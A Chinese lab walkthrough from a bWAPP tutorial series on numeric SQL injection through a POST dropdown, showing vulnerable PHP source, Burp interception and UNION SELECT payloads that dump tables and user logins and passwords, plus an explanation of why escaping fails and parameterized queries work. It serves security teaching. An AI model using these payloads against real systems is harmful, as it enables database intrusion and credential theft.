零基础玩转bWAPP靶场(十六):SQL 注入(POST/选择型)
摘要本文是 bWAPP 靶场系列的第十六篇聚焦于 SQL Injection (POST/Select)POST 型下拉选择框 SQL 注入。页面看起来和第十四篇GET/Select一模一样区别只是请求方式从 GET 变成了 POST。我们将通过源码分析和实战演示搞清楚数字型注入在 POST 下的玩法以及为什么 Medium 级别的防护依然形同虚设。一、前言功能很简单选一部电影点 Go显示电影详情。和第十四篇GET/Select功能一模一样唯一的区别是请求从 GET 变成了 POST。所以这篇不长重点是讲清楚POST 请求下怎么做注入以及Medium 级别为什么又防不住。二、先看一眼源码还是老规矩先看核心代码。// sqli_13.phpLow 和 Medium 级别用的文件 if(isset($_POST[movie])) { $id $_POST[movie]; $sql SELECT * FROM movies; if($id) { $sql. WHERE id . sqli($id); } $recordset mysql_query($sql, $link); // ... 显示结果 ... $row mysql_fetch_array($recordset); // 显示这一行的数据... }sqli()函数的处理逻辑function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 不处理直接返回 break; case 1 : // Medium $data sqli_check_2($data); // mysql_real_escape_string() break; default : $data no_check($data); break; } return $data; }High 级别会自动跳转到sqli_13-ps.php那个文件用了参数化查询后面再说。关键点这里id是数字SQL 语句里没有引号包裹它。这就是数字型注入的特征。但选择型只显示一行——你选了哪部电影就显示哪一部。源码逻辑和第十四篇几乎一样区别只是$_GET[movie]换成了$_POST[movie]。三、Low 安全级别3.1 怎么在 POST 请求里改参数GET 型注入你直接在地址栏改 URL 就行但 POST 型不行你得拦截请求。用 Burp Suite 的话打开 BurpProxy → Intercept 设为On在页面上选一部电影点 GoBurp 会拦截到这个 POST 请求在请求体里找到movie1改成你想要的 payload点 Forward 放行不想用 Burp 的话浏览器 F12 → Network 标签找到请求右键 → Edit and Resend也能改。3.2 动手试试先正常用一下选一部电影点 Go页面显示电影详情。URL 不会变因为参数在请求体里但页面内容变了。然后开 Burp 拦截选电影点 Go拦截请求后把movie1改成movie-1 OR 11由于只显示一行数据所以我们用id-1这个不存在的值去测试然后进行恒假测试movie-1 AND 12通过测试确认数字型 SQL 注入漏洞存在。3.3 获取数据UNION 注入先确定列数。Burp 里改movie参数movie-1 UNION SELECT 1,2,3,4,5,6,7返回正常说明是 7 列。然后获取数据库名movie-1 UNION SELECT 1,database(),3,4,5,6,7页面显示数据库名。获取表名movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()获取用户表字段movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_schemadatabase() and table_nameusers获取用户数据movie-1 UNION SELECT 1,group_concat(login),group_concat(password),4,5,6,7 FROM users和第十四篇的操作基本一模一样唯一的区别是参数在 POST 请求体里需要用 Burp 改。四、Medium 安全级别4.1 试一下切到 Medium开 Burp 拦截发送movie-1 OR 11 → 显示影片恒真 payload movie-1 AND 12 → 页面空白无影片恒假 payload结果确认数字型 SQL 注入漏洞存在。接下来步骤基本和low级一样1、获取列数和显示位 movie-1 UNION SELECT 1,2,3,4,5,6,7actiongo 2、获取数据库名 movie-1 UNION SELECT 1,database(),3,4,5,6,7actiongo 3、获取表名 movie-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()actiongo 4、获取字段名 movie-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE%20table_schemadatabase() and table_name0x7573657273actiongo 5、获取用户数据 movie-1 UNION SELECT 1,GROUP_CONCAT(CONCAT(login,0x3a,password)),3,4,5,6,7 FROM usersactiongo4.2 为什么 Medium 还是防不住Medium 调用的是sqli_check_2()也就是mysql_real_escape_string()。这个函数只转义特殊字符引号、反斜杠等对纯数字字符串完全不处理。你传 -1 OR 11里面没有引号、没有反斜杠mysql_real_escape_string()看了看说“这串东西没啥需要转义的”然后原样返回。于是 SQL 还是变成了WHERE id -1 OR 11注入成功。一句话总结mysql_real_escape_string()只防字符串型注入对数字型注入无效。因为数字型注入根本不需要引号。4.3 那要怎么防要么用类型强转$id intval($_POST[movie]);要么用参数化查询High 级别用的方案。五、High 安全级别切到 High你会发现页面其实跳到了sqli_13-ps.php。看这个文件的代码$sql SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id ?; if($stmt $link-prepare($sql)) { $stmt-bind_param(s, $id); $stmt-execute(); // ... }用了?占位符然后用bind_param()绑定参数。这就是参数化查询。不管你在 POST 里传什么$id只会被当成数据去匹配id字段永远不会被当作 SQL 代码执行。所以不管你传1 OR 11还是1 UNION SELECT都只会去匹配一个叫做1 OR 11的电影 ID当然不存在然后返回“No movies were found!”。六、三种级别对比级别用的函数能防住吗原因Lowno_check()不能直接拼接完全没过滤Mediummysql_real_escape_string()不能只转义引号数字型注入不需要引号High参数化查询能SQL 和数据分离从根本上杜绝七、总结GET与POST请求方式并不会决定SQL注入漏洞是否存在漏洞风险由后端代码的输入处理逻辑决定GET注入与POST注入的底层原理完全一致二者仅参数修改手段存在区别GET注入可直接修改浏览器URL参数POST注入需要借助抓包工具修改请求数据包。数字型SQL注入无需依靠单引号完成闭合隐蔽性更强不少开发人员误以为mysql_real_escape_string()能够抵御注入攻击但该函数仅针对引号、反斜杠等特殊字符转义面对不存在引号载荷的数字型注入无法起到防护效果。各类转义函数均存在防护局限性防御SQL注入最根本、可靠的方案是采用参数化预编译查询该技术将SQL语句结构与用户输入数据相互隔离从底层消除SQL拼接带来的注入风险因此不必依赖各类字符转义函数优先使用参数化查询是抵御SQL注入最优选择。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

AI开发C语言应用按步走,表达式计算器calc的第十一步,Token 联合体、哈希表满报错、批处理变量赋值

AI开发C语言应用按步走,表达式计算器calc的第十一步,Token 联合体、哈希表满报错、批处理变量赋值

calc11 — Token 联合体、哈希表满报错、批处理变量赋值 1. 概述 本次迭代基于 suggestions.md 中的建议,完成了三项代码改进: Token 联合体 — 将 value 和 name 字段合并为联合体,减少内存占用哈希表满报错 — 变量符号表满时输出错误提示&…

2026/7/24 14:01:51 阅读更多 →
基于YOLOv11的焊接缺陷检测系统设计与优化

基于YOLOv11的焊接缺陷检测系统设计与优化

1. 项目背景与核心价值 焊接缺陷检测一直是工业质检领域的痛点问题。传统人工目检效率低下且容易漏检,而基于机器视觉的自动化方案往往面临复杂场景适应性差的问题。这个毕业设计项目选择基于YOLOv11构建焊接缺陷检测系统,正是瞄准了这一行业刚需。 我去…

2026/7/24 14:01:51 阅读更多 →
AI技术如何高效重构遗留代码系统

AI技术如何高效重构遗留代码系统

1. 项目概述:当AI遇上遗留代码十年前写的Java代码还在线上跑着,每次新人接手都要花两周才能勉强理解业务逻辑;五年前那个离职同事写的Python脚本至今没人敢动,生怕一改就引发连锁反应——这就是遗留代码的典型困境。作为经历过数十…

2026/7/24 14:01:51 阅读更多 →

最新新闻

AM574x异构SoC硬件调试:JTAG与TPIU时序配置与工程实践

AM574x异构SoC硬件调试:JTAG与TPIU时序配置与工程实践

1. 项目概述与核心价值在嵌入式系统开发,尤其是涉及像TI AM574x这类集成了双核Cortex-A15、双C66x DSP以及多个协处理器的复杂异构SoC时,硬件级的调试与跟踪能力不再是“锦上添花”,而是“雪中送炭”的必需品。想象一下,当你的系统…

2026/7/24 14:10:55 阅读更多 →
Java 企业级 SaaS 架构 B2C 微信小程序电商项目实战训练营07-全栈测试部署与运维实战

Java 企业级 SaaS 架构 B2C 微信小程序电商项目实战训练营07-全栈测试部署与运维实战

文章目录 一、概述 二、部署架构总览 2.1 生产环境拓扑 2.2 服务清单 三、后端构建与打包 3.1 Maven Profile 多环境管理 3.2 构建命令 3.3 构建产物分析 3.4 生产环境配置 3.5 启动命令 四、前端构建与部署 4.1 管理端构建 4.2 店铺端构建 4.3 移动端 H5 构建 4.4 微信小程序发…

2026/7/24 14:10:55 阅读更多 →
【具身智能】Claude Sonnet 5写IMU代码竟有“人格分裂”?用《旋生万物》公理 I2=−N 根治Agent几何幻觉(附螺旋积分器)

【具身智能】Claude Sonnet 5写IMU代码竟有“人格分裂”?用《旋生万物》公理 I2=−N 根治Agent几何幻觉(附螺旋积分器)

摘要:2026年7月,CSDN首页热议“TVA-具身智能如何跨越电子与原子鸿沟”。然而实测发现,被称为“最懂代码”的Claude Sonnet 5在编写IMU(惯性测量单元)姿态解算代码时,频繁出现2π相位跳变和螺距漂移——仿佛…

2026/7/24 14:10:55 阅读更多 →
CC2652RB射频与模拟外设深度解析:从数据手册到设计实战

CC2652RB射频与模拟外设深度解析:从数据手册到设计实战

1. 从数据手册到设计实战:CC2652RB射频与模拟外设深度解析在物联网设备开发中,选型一颗无线MCU时,我们最关心的往往是那几个硬核指标:通信距离有多远?功耗能有多低?传感器数据采得准不准?这些问…

2026/7/24 14:10:55 阅读更多 →
Claude AI编程助手:从自然语言到代码生成的开发效率提升指南

Claude AI编程助手:从自然语言到代码生成的开发效率提升指南

在日常开发中,很多开发者初次接触 Claude 时会产生误解,认为它是一款新型编译器或编程工具。实际上,Claude 是一个基于人工智能的对话助手,它能理解自然语言并协助完成编程任务,这与传统编译器有着本质区别。本文将详细…

2026/7/24 14:10:54 阅读更多 →
大模型接入的认证与计费:多模型供应商的统一网关设计

大模型接入的认证与计费:多模型供应商的统一网关设计

大模型接入的认证与计费:多模型供应商的统一网关设计 一、三个团队各用各的 API Key,月底账单混乱,财务说"分不清谁花了多少钱" 多模型供应商共存的企业场景下(OpenAI Claude 自建 vLLM),接入层…

2026/7/24 14:09:54 阅读更多 →

日新闻

用Highcharts 创建可拖拽三维散点立方体3D图表

用Highcharts 创建可拖拽三维散点立方体3D图表

该案例基于Highcharts scatter3d 三维散点图实现空间立方体散点可视化,核心特色:三维 X/Y/Z 三轴空间,所有散点分布在 0~10 立方体空间内;散点使用径向渐变实现立体 3D 圆球质感;支持鼠标 / 触屏拖拽画布,…

2026/7/24 0:00:29 阅读更多 →
AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口 AppCertDlls 位于 HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls。本文的程序功能是只读列出这个键在 64 位和 32 位注册表视图中的全部值,并显示每条值的来源、名称、类型和可安全显示的数…

2026/7/24 0:00:29 阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:29 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 3:59:20 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 1:23:39 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/23 17:49:47 阅读更多 →

月新闻